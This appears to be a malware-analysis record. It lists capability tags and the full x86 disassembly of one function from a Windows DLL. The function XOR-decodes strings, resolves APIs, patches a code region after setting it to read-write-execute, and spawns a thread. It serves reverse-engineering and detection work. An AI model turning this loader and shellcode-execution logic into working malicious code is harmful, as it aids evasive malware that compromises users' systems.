Function at 0x10004ff0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
dec eax
mov dword [ebp - 0x124], 0
jne 0x10005261
mov eax, dword [ebp + 8]
push 0x94
lea ecx, [ebp - 0x120]
push 0
push ecx
mov dword [0x10126b8c], eax
call fcn.10011db0
add esp, 0xc
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, 0x9b
xor eax, eax
mov dl, byte [eax + 0x10020644]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x54], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10005053
push ebx
push esi
push edi
lea eax, [ebp - 0x54]
push eax
mov ecx, 0x44a2a33c
lea eax, [ebp - 0x84]
mov byte [ebp - 0x42], 0
call fcn.10008430
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
xor ecx, ecx
push ecx
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], ecx
mov word [ebp - 0x7c], cx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov word [ebp - 0x44], cx
mov byte [ebp - 0x42], cl
push 0x1e
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 0x124]
push edx
push 0x40
push 0x1e
push 0x10003b30
call esi
push 0x1e
lea eax, [ebp - 0x24]
push eax
push 0x10003b30
call fcn.1000aea0
mov edx, dword [ebp - 0x124]
add esp, 0xc
lea ecx, [ebp - 0x124]
push ecx
push edx
push 0x1e
push 0x10003b30
call esi
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov ecx, 0x54
mov dl, byte [eax + 0x10020664]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x78], dl
inc eax
and ecx, 0xff
cmp eax, 0x14
jb 0x10005132
mov byte [ebp - 0x64], 0
mov ecx, 0xae
xor eax, eax
mov dl, byte [eax + 0x1002067c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xe
jb 0x10005156
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x34]
push ecx
mov byte [ebp - 0x26], 0
call edi
push eax
call ebx
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov word [ebp - 0x28], cx
mov byte [ebp - 0x26], cl
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov byte [ebp - 0x64], cl
test eax, eax
je 0x10005249
add eax, 5
mov dword [0x10126bcc], eax
lea ebx, [ecx + 1]
mov ecx, 0x397aa102
lea eax, [ebp - 0x8c]
call fcn.100084b0
push eax
call edi
test eax, eax
jne 0x10005210
lea ebx, [eax + 3]
mov ecx, 0x50
mov dl, byte [eax + str.2_:1__y_56]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x40], dl
inc eax
and ecx, 0xff
cmp eax, 0xb
jb 0x100051d6
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 0x35], 0
call edi
test eax, eax
jne 0x10005210
lea ebx, [eax + 7]
mov ecx, 0x73dbdf13
lea eax, [ebp - 0x60]
call fcn.10008510
push eax
call edi
test bl, 4
je 0x10005223
and ebx, 0xfffffffb
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], al
test bl, 2
je 0x10005236
and ebx, 0xfffffffd
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
test bl, 1
je 0x10005249
xor eax, eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
push 0
push 0
push 0
push 0x10004d50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.10009241
mov esp, ebp
pop ebp
ret 0xc